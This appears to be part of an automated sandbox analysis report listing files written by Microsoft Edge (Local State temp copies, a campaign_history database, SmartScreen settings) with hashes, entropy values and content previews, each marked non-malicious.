Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37909.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37919.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37f05.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a598.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3dab1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48f3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4eeb2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
